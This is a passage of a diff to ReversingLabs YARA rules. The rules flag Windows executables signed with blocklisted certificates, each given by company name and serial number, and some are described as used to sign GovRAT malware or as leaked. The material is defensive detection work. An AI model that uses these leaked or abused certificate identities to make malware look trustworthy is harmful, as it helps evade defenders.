"b9e6a35f-08c2-5f29-9bcf-07a3cddf0fbe" + id = "af912c64-334d-51f5-8ca4-707fcec512ba" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7278-L7294" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1326-L1342" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4e2c967b9502d9009c61831f019ba19367b866e898ca1246a1099d75ad0eb4d5" + logic_hash = "324157b9fec2653cb8874c7a1a5b6e39b121992cd52856b8c4a2a8b7cee86a69" score = 75 quality = 90 tags = "INFO, FILE" @@ -17093,21 +39487,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Ced87Bd70B092Cb93B182Fac32655F6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Creator Soft Limited" and pe.signatures [ i ] . serial == "0c:ed:87:bd:70:b0:92:cb:93:b1:82:fa:c3:26:55:f6" and 1614816000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "4b:a7:fb:8e:e1:de:ff:8f:4a:15:25:e1:e0:58:00:57" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_047801D5B55C800B48411Fd8C320Ca5B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Df9F7Eb6Cdc5Ca243B33122E3941E25 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "602b8c18-3dad-55b9-bb47-3f9835a049ac" + id = "da1895fd-ec29-513d-b8ae-2317f84b8280" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7296-L7312" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1344-L1360" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ef26b4e3c658f53f3048d10bd1b7a2a198cd402e1b7c60e84adadb4f236ccb5d" + logic_hash = "703eccd5573fe42f03ec82887660d50e942156d840394746c90ba87d82507803" score = 75 quality = 90 tags = "INFO, FILE" @@ -17117,21 +39511,21 @@ rule REVERSINGLABS_Cert_Blocklist_047801D5B55C800B48411Fd8C320Ca5B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LICHFIELD STUDIO GLASS LIMITED" and pe.signatures [ i ] . serial == "04:78:01:d5:b5:5c:80:0b:48:41:1f:d8:c3:20:ca:5b" and 1614297600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "2d:f9:f7:eb:6c:dc:5c:a2:43:b3:31:22:e3:94:1e:25" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F0Ed5318848703405D40F7C62D0F39A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_58A541D50F9E2Fab4380C6A2Ed433B82 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "30e3a977-caa3-5ae0-9cd0-6b2ce62ccebd" + id = "19a26581-5c94-5c8d-8e3e-b2ef1d770968" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7314-L7330" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1362-L1378" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "484932ddfe614fd5ab22361ab281cda62803c98279f938aa5237237fae6a95d6" + logic_hash = "69ddc58b6fec159d6eded8c78237a6a0626b1aedb58b0c9867b758fd09db46ad" score = 75 quality = 90 tags = "INFO, FILE" @@ -17141,21 +39535,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F0Ed5318848703405D40F7C62D0F39A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SIES UPRAVLENIE PROTSESSAMI, OOO" and pe.signatures [ i ] . serial == "0f:0e:d5:31:88:48:70:34:05:d4:0f:7c:62:d0:f3:9a" and 1614729600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "58:a5:41:d5:0f:9e:2f:ab:43:80:c6:a2:ed:43:3b:82" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4E7545C9Fc5938F5198Ab9F1749Ca31C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5F273626859Ae4Bc4Becbbeb71E2Ab2D : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "d5f810ee-127a-5df0-9299-ffeaddf369ee" + id = "a80dcaba-73f9-51d0-a75a-b6348fd305c6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7332-L7348" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1380-L1396" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6be57eb6744ad6d239a0a2cc1ec8c39c9dfd4e4eeb3be9e699516c259f617f0" + logic_hash = "c8be504f075041508f299b1df03d9cb9e58d9a89f49b7a926676033d18b108ba" score = 75 quality = 90 tags = "INFO, FILE" @@ -17165,21 +39559,21 @@ rule REVERSINGLABS_Cert_Blocklist_4E7545C9Fc5938F5198Ab9F1749Ca31C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "For M d.o.o." and pe.signatures [ i ] . serial == "4e:75:45:c9:fc:59:38:f5:19:8a:b9:f1:74:9c:a3:1c" and 1614297600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "5f:27:36:26:85:9a:e4:bc:4b:ec:bb:eb:71:e2:ab:2d" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Ddd3796A427B42F2E52D7C7Af0Ca54F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B1Ad46Ce4Db160B348C24F66C9663178 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "5c2e1f5b-5ff7-51d7-9642-0a527856814c" + id = "df34eb28-18ec-568b-8257-0b2f7959868c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7350-L7366" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1398-L1414" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "804ab8c44e5d97d8e14f852d61094e90d1e3ace66316781e9e79ab46fc7db8e7" + logic_hash = "59ce2b7a2e881853d07446b3dda74b296f2be09651364d0e131552cf76dab751" score = 75 quality = 90 tags = "INFO, FILE" @@ -17189,21 +39583,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Ddd3796A427B42F2E52D7C7Af0Ca54F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Fobos" and pe.signatures [ i ] . serial == "7d:dd:37:96:a4:27:b4:2f:2e:52:d7:c7:af:0c:a5:4f" and 1612915200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "b1:ad:46:ce:4d:b1:60:b3:48:c2:4f:66:c9:66:31:78" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_03B27D7F4Ee21A462A064A17Eef70D6C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_256541E204619033F8B09F9Eb7C88Ef8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9d32947c-778f-5e2d-b0b1-4a17a108035e" + id = "d4a5eb19-2964-5d3a-b4c5-ee4396e76814" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7368-L7384" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1416-L1432" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b303751e354c346f73368de94b66a960dd12efa0730d2ab14af743810669ac81" + logic_hash = "e33cedf1dd24ac73f77461de0cef25cad57909be2a69469fec450ead7da85c65" score = 75 quality = 90 tags = "INFO, FILE" @@ -17213,21 +39607,21 @@ rule REVERSINGLABS_Cert_Blocklist_03B27D7F4Ee21A462A064A17Eef70D6C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CCL TRADING LIMITED" and pe.signatures [ i ] . serial == "03:b2:7d:7f:4e:e2:1a:46:2a:06:4a:17:ee:f7:0d:6c" and 1613952000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HON HAI PRECISION INDUSTRY CO. LTD." and pe.signatures [ i ] . serial == "25:65:41:e2:04:61:90:33:f8:b0:9f:9e:b7:c8:8e:f8" and 1424303999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B0A308Fc2E71Ac4Ac40677B9C27Ccbad : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_00E8Cc18Cf100B6B27443Ef26319398734 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "7e13e257-a264-5a40-b670-889045504acf" + id = "f7e80c51-9dcf-599a-8164-c07cf4c9c5ff" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7386-L7404" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1434-L1452" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "21fd7625399c939b6d03100b731709616d206a3811197af2b86991be9d89b4eb" + logic_hash = "68e9df056109cae41d981090c7a98ddc192a445647d7475569ddbe4118e570c5" score = 75 quality = 90 tags = "INFO, FILE" @@ -17237,21 +39631,21 @@ rule REVERSINGLABS_Cert_Blocklist_B0A308Fc2E71Ac4Ac40677B9C27Ccbad : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Volpayk LLC" and ( pe.signatures [ i ] . serial == "00:b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad" or pe.signatures [ i ] . serial == "b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad" ) and 1611705600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Syngenta" and ( pe.signatures [ i ] . serial == "00:e8:cc:18:cf:10:0b:6b:27:44:3e:f2:63:19:39:87:34" or pe.signatures [ i ] . serial == "e8:cc:18:cf:10:0b:6b:27:44:3e:f2:63:19:39:87:34" ) and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_61B11Ef9726Ab2E78132E01Bd791B336 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_62Af28A7657Ba8Ab10Fa8E2D47250C69 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "573a024e-11f0-5cf9-8f0d-a946cdca34c5" + id = "cba20a1b-5d24-5a1f-8f2f-8c47add846d6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7406-L7422" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1454-L1470" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1a8e72f31039a5a5602d0314f017a2596a23e4a796dc66167dfefc0c9790e3e3" + logic_hash = "c3c034cb4e2c65e2269fbfd9c045eb294badde60389ae62ed694ea4d61c5eb35" score = 75 quality = 90 tags = "INFO, FILE" @@ -17261,21 +39655,21 @@ rule REVERSINGLABS_Cert_Blocklist_61B11Ef9726Ab2E78132E01Bd791B336 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Skalari" and pe.signatures [ i ] . serial == "61:b1:1e:f9:72:6a:b2:e7:81:32:e0:1b:d7:91:b3:36" and 1609372800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AFINA Fintek" and pe.signatures [ i ] . serial == "62:af:28:a7:65:7b:a8:ab:10:fa:8e:2d:47:25:0c:69" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8Fe807310D98357A59382090634B93F0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_04C8Eca7243208A110Dea926C7Ad89Ce : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "690e7919-0344-5bd1-849f-e7bfe2f19276" + id = "484d0aa6-0447-5e60-946b-89b01a5e43dd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7424-L7442" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1472-L1488" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ec56bd4783c854efef863050ff729fd99efa98b7b19e04e56a080ee3e75cd90" + logic_hash = "0012436e83704397026a8b2e500e5d61915e0f4c8ad4100176e200a975562e8f" score = 75 quality = 90 tags = "INFO, FILE" @@ -17285,21 +39679,21 @@ rule REVERSINGLABS_Cert_Blocklist_8Fe807310D98357A59382090634B93F0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAVE MEDIA" and ( pe.signatures [ i ] . serial == "00:8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0" or pe.signatures [ i ] . serial == "8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0" ) and 1613433600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, SINGH ADITYA" and pe.signatures [ i ] . serial == "04:c8:ec:a7:24:32:08:a1:10:de:a9:26:c7:ad:89:ce" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B97F66Bb221772Dc07Ef1D4Bed8F6085 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_157C3A4A6Bcf35Cf8453E6B6C0072E1D : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "c83918d8-fe90-59dc-8f4e-0e7b10238780" + id = "4bae3fb2-7e30-598e-8708-b985697bf63a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7444-L7462" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1490-L1506" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "794dc27ff9b2588d3f2c31cdb83e53616c604aa41da7d8c895034e1cf9da5dd8" + logic_hash = "2a68051ab6d0b967f08e44d91b9f13d75587ea0f16e2a5536ccf5898445e1a58" score = 75 quality = 90 tags = "INFO, FILE" @@ -17309,21 +39703,21 @@ rule REVERSINGLABS_Cert_Blocklist_B97F66Bb221772Dc07Ef1D4Bed8F6085 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "S-PRO d.o.o." and ( pe.signatures [ i ] . serial == "00:b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85" or pe.signatures [ i ] . serial == "b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85" ) and 1614556800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Favorite-III" and pe.signatures [ i ] . serial == "15:7c:3a:4a:6b:cf:35:cf:84:53:e6:b6:c0:07:2e:1d" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_04422F12037Bc2032521Dbb6Ae02Ea0E : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "ab84282d-9c35-5e52-a117-1d85c03cc6f4" + id = "0dc659e8-1f3b-5130-a776-dd9e4141f5f3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7464-L7482" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1508-L1524" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0360c6760f1018f9388ef5639ab2306879134f33da12677f954fa31b8a71aa16" + logic_hash = "381d749d24121d6634656fd33adcda5c3e500ee77a6333f525f351a2ee589e2c" score = 75 quality = 90 tags = "INFO, FILE" @@ -17333,21 +39727,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LoL d.o.o." and ( pe.signatures [ i ] . serial == "00:fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6" or pe.signatures [ i ] . serial == "fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6" ) and 1614297600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Muhammad Lee" and pe.signatures [ i ] . serial == "04:42:2f:12:03:7b:c2:03:25:21:db:b6:ae:02:ea:0e" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Aa28C9Bd16D9D304F18Af223B27Bfa1E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_65Eae6C98111Dc40Bf4F962Bf27227F2 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "facb8bba-a8cc-5b2a-9ef6-ba290cbf9b24" + id = "34275efd-b941-56f5-8e1b-30a43f1936e2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7484-L7502" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1526-L1542" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "feaa8d645eea46c7cbbba4ba86c92184df7515a50f1f905ab818c59079a0c96a" + logic_hash = "20c0f4e9783586e68ff363fe6a72398f6ea27aef5d25f98872d1203ce1a0c9bd" score = 75 quality = 90 tags = "INFO, FILE" @@ -17357,21 +39751,21 @@ rule REVERSINGLABS_Cert_Blocklist_Aa28C9Bd16D9D304F18Af223B27Bfa1E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tecno trade d.o.o." and ( pe.signatures [ i ] . serial == "00:aa:28:c9:bd:16:d9:d3:04:f1:8a:f2:23:b2:7b:fa:1e" or pe.signatures [ i ] . serial == "aa:28:c9:bd:16:d9:d3:04:f1:8a:f2:23:b2:7b:fa:1e" ) and 1611705600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, BHARATH KUCHANGI" and pe.signatures [ i ] . serial == "65:ea:e6:c9:81:11:dc:40:bf:4f:96:2b:f2:72:27:f2" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_19Beff8A6C129663E5E8C18953Dc1F67 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_12D5A4B29Fe6156D4195Fba55Ae0D9A9 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "300d9e11-9283-500e-9716-5b628ef41853" + id = "45c37c98-1006-51e4-8832-b8e5c9fba416" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7504-L7520" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1544-L1560" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ec031c781ebad7447cfc53ce791aacc8f24e38f039c84e2ee547de64729ae76" + logic_hash = "860550745f6dbcd7dd0925d9b8f04e8e08e8b7c06343a4c070e131a815c42e12" score = 75 quality = 90 tags = "INFO, FILE" @@ -17381,21 +39775,21 @@ rule REVERSINGLABS_Cert_Blocklist_19Beff8A6C129663E5E8C18953Dc1F67 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CULNADY LTD LTD" and pe.signatures [ i ] . serial == "19:be:ff:8a:6c:12:96:63:e5:e8:c1:89:53:dc:1f:67" and 1608163200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Marc Chapon" and pe.signatures [ i ] . serial == "12:d5:a4:b2:9f:e6:15:6d:41:95:fb:a5:5a:e0:d9:a9" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_029685Cda1C8233D2409A31206F78F9F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0087D60D1E2B9374Eb7A735Dce4Bbdae56 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing GovRAT malware." author = "ReversingLabs" - id = "f7894a48-459b-574f-9df3-8505578de42b" + id = "8759a40a-648e-548e-a519-bedc812aefe4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7522-L7538" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1562-L1580" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d541ce73e5039541ea221f27cc4d033f0c477e41a148206c26cc39ae07c4caaa" + logic_hash = "d6e0d22e926a237f1cc6b71c6f8ce01e497723032c9efba1e6af7327a786b608" score = 75 quality = 90 tags = "INFO, FILE" @@ -17405,21 +39799,21 @@ rule REVERSINGLABS_Cert_Blocklist_029685Cda1C8233D2409A31206F78F9F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KOTO TRADE, dru\\xC5\\xBEba za posredovanje, d.o.o." and pe.signatures [ i ] . serial == "02:96:85:cd:a1:c8:23:3d:24:09:a3:12:06:f7:8f:9f" and 1612396800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMO-K Limited Liability Company" and ( pe.signatures [ i ] . serial == "00:87:d6:0d:1e:2b:93:74:eb:7a:73:5d:ce:4b:bd:ae:56" or pe.signatures [ i ] . serial == "87:d6:0d:1e:2b:93:74:eb:7a:73:5d:ce:4b:bd:ae:56" ) and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D609B6C95428954A999A8A99D4F198Af : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0860C8A7Ed18C3F030A32722Fd2B220C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4ce9b2ce-5dda-5741-bd29-cadae44c3b28" + id = "335a1cd3-520a-5f0f-abda-6ec8a122de4b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7540-L7558" + source_url = 